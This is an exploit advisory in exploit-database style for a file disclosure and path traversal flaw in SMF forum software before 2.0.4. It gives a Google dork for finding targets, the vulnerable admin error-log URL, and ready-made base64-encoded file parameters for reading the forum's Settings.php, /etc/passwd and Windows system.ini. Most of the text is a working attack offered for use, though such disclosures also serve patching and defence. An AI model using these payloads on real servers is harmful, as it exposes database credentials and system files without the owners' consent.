43 lines
No EOL
1.2 KiB
Text
43 lines
No EOL
1.2 KiB
Text
# Exploit Title: SMF < 2.0.4 File Disclosure/Path Traversal
|
|
# Google Dork: "Powered by SMF 2.0.x"
|
|
# Date: 02/02/2013
|
|
# Exploit Author: NightlyDev
|
|
# Software Link: http://download.simplemachines.org/index.php?thanks;filename=smf_2-0-3_install.zip
|
|
# Version: 2.0.x < 2.0.4
|
|
# Tested on: CentOS 6.2
|
|
|
|
_ _ _ _ _ _ _____ _
|
|
| \ | (_) | | | | | | / ____| | |
|
|
| \| |_ __ _| |__ | |_| |_ _| | ___ __| | ___ _ __ ___
|
|
| . ` | |/ _` | '_ \| __| | | | | | / _ \ / _` |/ _ \ '__/ __|
|
|
| |\ | | (_| | | | | |_| | |_| | |___| (_) | (_| | __/ | \__ \
|
|
|_| \_|_|\__, |_| |_|\__|_|\__, |\_____\___/ \__,_|\___|_| |___/
|
|
__/ | __/ |
|
|
|___/ |___/
|
|
|
|
|
|
You need the "admin_forum" privilege for this exploit.
|
|
|
|
http://<server>/index.php?action=admin;area=logs;sa=errorlog;file=[BASE64 ENCODED FILE PATH];line=[LINE NUMBER]
|
|
|
|
Example :
|
|
|
|
/srv/www/smf/Settings.php : L3Nydi93d3cvc21mL1NldHRpbmdzLnBocA=
|
|
|
|
/etc/passwd : L2V0Yy9wYXNzd2Q=
|
|
|
|
|
|
SMF Configuration File Disclosure :
|
|
|
|
file=L3Nydi93d3cvc21mL1NldHRpbmdzLnBocA=;line=40
|
|
|
|
/etc/passwd File :
|
|
|
|
file=L2V0Yy9wYXNzd2Q=;line=1
|
|
|
|
C:\Windows\system.ini
|
|
|
|
file=QzpcV2luZG93c1xzeXN0ZW0uaW5p;line=1
|
|
|
|
|
|
NightlyDev. |